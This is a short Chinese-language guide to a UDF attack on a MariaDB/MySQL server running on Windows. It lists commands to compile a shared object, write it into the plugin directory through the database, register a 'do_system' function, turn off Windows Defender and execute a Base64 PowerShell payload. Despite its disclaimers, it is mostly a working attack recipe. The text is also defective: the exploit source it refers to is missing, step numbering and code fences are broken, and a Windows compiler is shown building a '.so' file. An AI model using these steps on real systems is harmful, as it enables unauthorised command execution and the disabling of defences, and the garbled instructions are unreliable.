本指南提供了在数据库系统上复现用户自定义函数(UDF)攻击的分步说明。请注意,该漏洞利用在某些系统上可能有效,但在64位架构或特定构建版本上可能无法正常运作。
警告: 本文仅用于教育目的。未经授权使用这些技术是非法且不道德的。
首先,创建一个名为 exploit.c 的文件,并添加以下代码:
### 2. 编译UDF代码
使用 `x86_64-w64-mingw32-gcc` 编译器编译漏洞利用代码:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
从编译后的对象文件生成共享对象文件(exploit.so):
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
使用 xxd 将 .so 文件转换为十六进制格式:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
从 hex_value.txt 复制十六进制值,并在数据库中执行以下命令:
DB> set @shell = 0x<hex_value>;
通过运行以下命令查找插件目录:
DB> select @@plugin_dir;
然后,在插件目录中创建漏洞利用共享对象:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
注意: 请根据系统配置或具体的插件目录调整路径。
在数据库中使用漏洞利用创建一个新函数:
DB> create function do_system returns integer soname 'exploit.so';
禁用可能阻止漏洞利用的杀毒软件或 Windows Defender。然后,使用新创建的函数运行命令:
DB> select do_system('powershell base64 here');
将 'powershell base64 here' 替换为你希望执行的命令的 Base64 编码负载。
免责声明: 本文档仅供教育目的和安全研究使用。滥用此信息可能导致刑事指控和严重的法律处罚。在测试任何网络或系统的漏洞之前,请务必获得相关权限。